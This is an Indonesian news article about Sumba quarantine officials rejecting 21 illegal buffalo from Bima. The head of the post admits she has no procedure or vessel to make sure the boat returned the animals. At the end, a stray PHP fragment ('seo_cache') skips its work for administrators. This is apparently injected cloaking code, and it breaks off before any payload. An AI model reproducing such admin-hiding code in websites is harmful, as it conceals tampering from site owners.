Peternakan

Kepala Karantina Satuan Pelayanan Waikelo, drh Vera Lobo : Kami Belum Punya SOP dan Sarana untuk Pastikan Perahu Ria Abadi Angkut Pulang Kerbau ke Bima

×

Kepala Karantina Satuan Pelayanan Waikelo, drh Vera Lobo : Kami Belum Punya SOP dan Sarana untuk Pastikan Perahu Ria Abadi Angkut Pulang Kerbau ke Bima

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Penolakan oleh Kantor Karantina Satuan Pelayanan Waikelo terhadap 21 ekor kerbau ilegal asal Bima, NTB yang tertangkap pada Jumat (23/10/2025) lalu telah dilakukan.

Kendati demikian, dari sejumlah informasi terpercaya Perahu Ria Abadi yang mengangkut kerbau-kerbau itu justru kemudian berbalik arah dan membuang sauh untuk bongkar muatan di Pantai Humma, Kodi Utara keesokan harinya.

Penyerahan berita acara penolakan ternak kepada nakhoda Perahu Ria Abadi, Eka oleh Kepala Karantina Satuan Pelayanan Waikelo, drh Vera Lobo.

Ditemui awak media, Senin (27/10/2025), Kepala Karantina Satuan Pelayanan Waikelo, drh Vera Lobo mengatakan, pihaknya tidak punya dukungan sarana untuk mengawal perahu dan memastikan tiba di tujuan.

Penolakan atas masuknya kerbau ilegal ini, sebut Vera, merupakan pilihan terbaik untuk menjaga Pulau Sumba tetap bebas dari PMK.

“Makanya dilakukan penolakan, dimana secara teknis kita buat berita acara dan surat penyataan nakhoda untuk bertanggungjawab mengantar kembali ternak-ternak itu ke tempat asal,” tandasnya.

Sedangkan upaya untuk memastikan proses penolakan tersebut berjalan dengan semestinya tidak bisa maksimal.

Pasalnya, belum ada SOP yang bisa dijadikan dasar untuk mengirim petugas yang mengawal pemulangan ternak-ternak ini.

Vera menerangkan, sebagai instansi sipil yang tidak memiliki senjata, pihak karantina juga tidak punya perahu atau alat angkut lain.

“Kan tidak mungkin staf kami dan pemilik ternak dalam satu kapal karena sangat beresiko terhadap ancaman keselamatan petugas karantina,” bebernya.

Pihaknya menyesalkan adanya penyelundupan ternak asal Bima, NTB yang dikategorikan sebagai wilayah zona kuning PMK.

Dampak dari masuknya ternak asal NTB di Pulau Sumba bisa menyebabkan satu NTT diklaim telah terinfeksi PMK.

“Tapi untuk urusan ternak yang terlanjur masuk bukan lagi tugas kami, karena sudah kewenangan pemerintah daerah dan dinas peternakan,” pungkas Vera. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>